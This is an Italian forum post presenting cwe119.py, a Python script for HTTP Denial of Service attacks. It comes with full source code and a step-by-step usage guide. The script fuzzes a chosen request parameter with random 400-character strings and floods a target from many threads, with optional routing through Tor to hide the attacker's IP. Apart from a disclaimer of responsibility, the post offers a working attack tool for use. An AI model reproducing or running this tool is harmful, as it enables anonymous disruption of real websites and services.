Ultima modifica:
cwe119.py: cos'è e come funziona
cwe119.py è uno script abbastanza versatile ideato per performare attacchi Denial of Service. Lo script è designato per praticare il fuzzing dei parametri nelle richieste (viene chiesto quale parametro bisogna fuzzare - appena scelto, le richieste saranno effettuate con il parametro selezionato accoppiato con una stringa di 400 caratteri a random) così ci si aspetta che il server sia più lento nell'elaborarle. È in grado di legare le richieste con Tor.Utilizzando questo script accettate che non mi assumo nessuna responsabilità nel suo utilizzo.
Il testing è ancora in progresso, questa non è la versione ufficiale.
Codice:
Python:
import sys
import socket, urllib
from urllib.parse import urlparse
from threading import Thread
from time import sleep
import socks
import string, random
import re
def send_requests(mapped_requests, map_count):
while True:
for i in range(len(mapped_requests)):
spot = mapped_requests[i]
junk = ''.join(random.choices(string.ascii_uppercase, k = 400))
(spot[2])[spot[4]] = junk # fuzzes the replacement spot
headers = (
"%s {} HTTP/1.1\r\n"
"Host: {}\r\n"
"Connection: close\r\n"
"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0\r\n"
"Accept-Encoding: gzip\r\n"
"Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7\r\n"
"Cache-Control: no-cache\r\n{}"
) % spot[0].upper()
parsed_url = spot[5]
url_path = '/' if parsed_url.path == '' else parsed_url.path
url_params = spot[3]
if spot[0] == "get":
path_and_params = "{}?{}".format(url_path, url_params)
headers = headers.format(path_and_params,
parsed_url.netloc,
'\r\n')
else:
terminal_header = (
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: {}\r\n"
"{}\r\n\r\n"
).format(len(url_params), url_params)
headers = headers.format(url_path,
parsed_url.netloc,
terminal_header)
#print(headers)
s = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((parsed_url.netloc, 80))
s.sendall(headers.encode("utf-8"))
except socket.error:
sleep(1)
finally:
s.close()
print("Mapped request at index {} has been sent.".format(i))
def create_threads(threads, mapped_requests, map_count):
for t in range(0, threads):
thread = Thread(target = send_requests, args = ( mapped_requests, map_count, ))
thread.start()
def target_is_ok(host):
try:
socket.gethostbyname(host)
except socket.gaierror:
return False
else:
return True
def query_yes_no(question, default = "yes"):
"""
Ask a yes/no question via input() and return their answer.
"question" is a string that is presented to the user.
"default" is the presumed answer if the user just hits <Enter>.
It must be "yes" (the default), "no" or None (meaning
an answer is required of the user).
The "answer" return value is True for "yes" or False for "no".
"""
valid = { "yes": True, "y": True, "ye": True,
"no": False, "n": False }
if default is None:
prompt = " [y/n] "
elif default == "yes":
prompt = " [Y/n] "
elif default == "no":
prompt = " [y/N] "
else:
raise ValueError("invalid default answer: '%s'" % default)
while True:
sys.stdout.write(question + prompt)
choice = input().lower()
if default is not None and choice == '':
return valid[default]
elif choice in valid:
return valid[choice]
else:
sys.stdout.write("please respond with 'yes' or 'no' "
"(or 'y' or 'n').\n")
if __name__ == "__main__":
print("\nCVE-2014-9912 and alike vulnerabilities exploitation sample - coded by @nullptr from http://inforge.net/" + "\n\n")
if query_yes_no("Do you want to bind a persistent Tor session?"):
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050, True)
s = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("api.ipify.org" , 80))
s.sendall(b"GET / HTTP/1.1\r\nHost: api.ipify.org\r\n\r\n")
print("Your IP address is", ((s.recv(4096)).decode('utf-8')).rsplit("\r\n\r\n")[1])
s.close()
sys.stdout.write("\nTarget: ")
if not target_is_ok(re.sub('^https?://', '', input())):
sys.exit("\nTarget is down.\n")
print("\nTarget is up.")
print("You need to map at least one request to the scheme of the attack.\n")
map_count = 0
mapped_requests = []
while (query_yes_no("\nMap request to the attack scheme?")):
valid_method = valid_url = valid_param = False
while not valid_method and not valid_url:
sys.stdout.write("Select HTTP request method (GET/POST): ")
method = input().lower()
if method in [ 'get', 'post' ]:
valid_method = True
sys.stdout.write("URL: ")
url = input()
if not url.startswith(( "http://", "https://" )):
url = "http://" + url
parsed_url = urlparse(url)
if (parsed_url.netloc):
valid_url = True
if method == "post":
sys.stdout.write("Put the post data: ")
post_data = input()
unparsed_params = post_data
else:
unparsed_params = parsed_url.query
parsed_params = urllib.parse.parse_qs(unparsed_params)
print("Parsed parameters:", parsed_params)
sys.stdout.write("Select the parameter to fuzz: ")
parameter = input()
try:
if (parsed_params[parameter]):
print("Parameter found.")
mapped_requests.append([ method,
url,
parsed_params,
unparsed_params,
parameter,
parsed_url ])
print("Request mapped in index {}.".format(map_count))
map_count += 1
except KeyError:
print("Could not map the request because an invalid parameter was entered.")
else:
print("Could not map the request because an invalid URL was entered.")
else:
print("Could not map the request because an invalid method was entered.")
if map_count < 1:
sys.exit("Could not adjust the attack: at least one mapped HTTP request is needed.")
print("\nA total of {} HTTP requests to repeatedly emulate has been mapped to the attack scheme.\n".format(map_count))
valid_threads = False
while not valid_threads:
sys.stdout.write("\nEnter a number of threads (eg. 1000): ")
threads = input()
if threads.isdigit():
threads = int(threads)
valid_threads = True
print("Starting the mapped attack.\n")
create_threads(threads, mapped_requests, map_count)
Dovete avere installata la libreria "pysocks".
Lo script suol distinguersi da molti altri script di questo genere per via della elasticità e della performance dell'attacco.
Guida all'utilizzo
Prendo d'esempio questo link del mio sito per le richieste GET e questo link per le richieste POST.I codici dei due file php sono rispettivamente:
PHP:
<?php
$str = $_GET['str'];
$foo = $_GET['foo'];
die('str: ' . $str . ' @ ' .
'foo: ' . $foo);
?>
PHP:
<?php
$str = $_POST['str'];
$foo = $_POST['foo'];
die('str: ' . $str . ' @ ' .
'foo: ' . $foo);
?>
(NON eseguite l'attacco DoS ad Altervista, questo è solo un esempio) assumiamo che voglio attaccarlo - lanciamo lo script:
Bash:
~ $ python cwe119.py
Ci verrà chiesto se vogliamo bindare le richieste a Tor di default. Nel mio caso no, perchè non voglio effettivamente attaccare nulla. Verrà stampato l'IP anonimo in caso siate connessi con rete Tor, l'IP vostro in caso contrario.
Ci verrà chiesto il `Target`, scriviamo il nostro.
In caso che il sito sia rilevato funzionante, vi chiederà di mappare manualmente l'attacco. Dovete mappare almeno 1 richiesta per avviarlo.
"Map request to the attack scheme? [Y/n]" -> Y.
Selezionate il metodo che vi serve: GET/POST. Io scelgo GET perchè voglio attaccare il form /demo_get.php.
Vi verrà chiesto di incollare l'URL per effettuare la richiesta. Inseriamo in questo caso:
Codice:
http://lezzosgoccioloso.altervista.org/demo.php?str=ciao&foo=bar
Lo script noterà i parametri e li parserà, poi li stamperà nel terminale:
Codice:
Parsed parameters: {'str': ['ciao'], 'foo': ['bar']}
Se il mapping è stato compilato da voi correttamente, vi stamperà che è stato aggiunto nella lista dello schema dell'attacco:
Codice:
Request mapped in index 0.
Una volta finito di mappare la prima richiesta, potete mapparne quante altre ne volete (e le aggiungerà nell'index 1, index 2 e così via), l'importante è che almeno una sia valida. Se non ne volete mappare più di una, potete rispondere alla domanda "Map request to the attack scheme? [Y/n]" -> n.
Vi chiederà il numero di threads da avviare (selezionatene uno NON overkill).
La procedura è quasi uguale per le richieste POST. Bisogna essere almeno un poco familiari con le richieste HTTP.
Vi consiglio inoltre di seguire il mio profilo GitHub, potrei iniziare a continuare il progetto lì. Qualsiasi valido consiglio o miglioramento è ben accetto.
Greets to @St3ve per un piccolo suggerimento sul codice. Grazie amò <3